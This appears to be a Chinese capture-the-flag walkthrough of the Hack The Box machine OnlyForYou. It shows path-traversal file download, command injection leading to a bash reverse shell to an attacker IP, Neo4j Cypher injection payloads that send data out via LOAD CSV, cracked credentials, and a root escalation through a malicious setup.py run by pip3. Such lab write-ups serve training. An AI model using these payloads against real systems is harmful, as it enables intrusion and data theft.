HackTheBox - Machines - OnlyForYou
Hack The Box - Machines - OnlyForYou
开启机器后访问ip地址自动跳转域名,将其ip地址和域名写入hosts文件
1. 信息搜集
C:\Users\kami>nmap -sS -sC -sV -A -p- 10.10.11.210 |
没有开放什么特别的端口,ssh不抱希望。
Gobuster找到一处子域名,添加到hosts后进行访问
页面有个Source Code
可以将其源码下载下来,右上角两处功能点是图片大小调整
、图片转换
,可以上传文件仅支持jpg、png
格式文件
既然可以下载源码,那么就先从源码入手
2. 代码审计
任意文件下载
上面的这些操作基本就是获取文件名是否合法、调整是否成功之类的,跳到download
函数
获取到文件名后正常运行的情况会下载此文件,访问download抓包修改为post方法访问 参数image
如果触发代码中的规则则会重定向
规则是以…开头,以…/结尾,如果/…/…/xxx/x则不会触发规则
这样就get一枚任意文件下载了,尝试下载shadow、hosts文件等,页面报错500,应该是权限不足
尝试读取主站的文件,猜测linux系统默认路径/var/www/....
,如果猜测正确就开始爆破
RCE反弹Shell
成功爆破到一个form.py文件,有一个邮箱账号info@only4you.htb,将代码复制下来,审计一下
这里会执行命令:run([f"dig txt {domain}"]) 获取email@符号之后的内容
,可以用";"来分割达到命令执行的效果
本地监听8888端口,目标主机执行反弹shell
创建一个bash.sh内容为bash -i >& /dev/tcp/10.10.16.7/8888 0>&1
本地起一个python服务,让目标机器访问执行即可获得主机Shell
3. 漏洞利用
通过查看端口看到有一些其他端口在监听,使用frp把流量反代出来去访问这些端口,同样使用python起一个web服务,将frp和配置下载到主机中
访问3000端口是Gogs服务,需要账号密码才能登录
8001端口是一个登录框,可以使用弱口令登录user:admin password:admin
7474端口是Neo4j Browser,Google了一下,是图数据库,存在与数据库交互是否也有注入呢。
回到8001端口,登录之后来到搜索框,参考资料进行注入
Neo4j注入 Get UserShell
首先获取版本号:' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.33:4444/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
获取节点(可以理解为mysql中的表):1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.33:4444/?label='+label as l RETURN 0 as _0 //
查询user节点的属性值:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.33:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
查询结果给出了username
和password
解密一下
username | password | 解密 |
---|---|---|
admin | 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 | admin |
john | a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 | ThisIs4You |
现在遇到了一个新用户 john,前面探测过ssh端口开放,经过尝试,发现admin不能ssh,但john可以通过ssh进入
成功登录后获取到user shell flag
Pip3 Download RCE Get Root Shell
这里允许john用户使用pip3 download 3000端口的压缩文件,那么去登录一下gogs看看
可以通过pip3 download以及install来执行命令
在Gogs中test仓库默认是私有仓库,将其设置为公开
接下来构建一个提权的demo,在github Copy一份setup.py的文件,RunCommand函数添加内容os.system("chmod +s /bin/bash")
import os |
代码添加之后就是构建文件了首先安装库,在setup.py同目录直接build即可,构建完成会在目录下生成dist和this_is_fine_wuzzi.egg-info两个文件夹,其中需要的tar.gz文件在dist目录中 记得用Linux
将其上传到gogs仓库,再在目标主机下载 执行命令即可获得root shell
建议做的时候先构建好文件,设置仓库隐私之后立马上传和下载,这里服务器存在重置机制,时间很短。
10.10.16.7以及10.10.16.33都是本机ip地址
参考链接: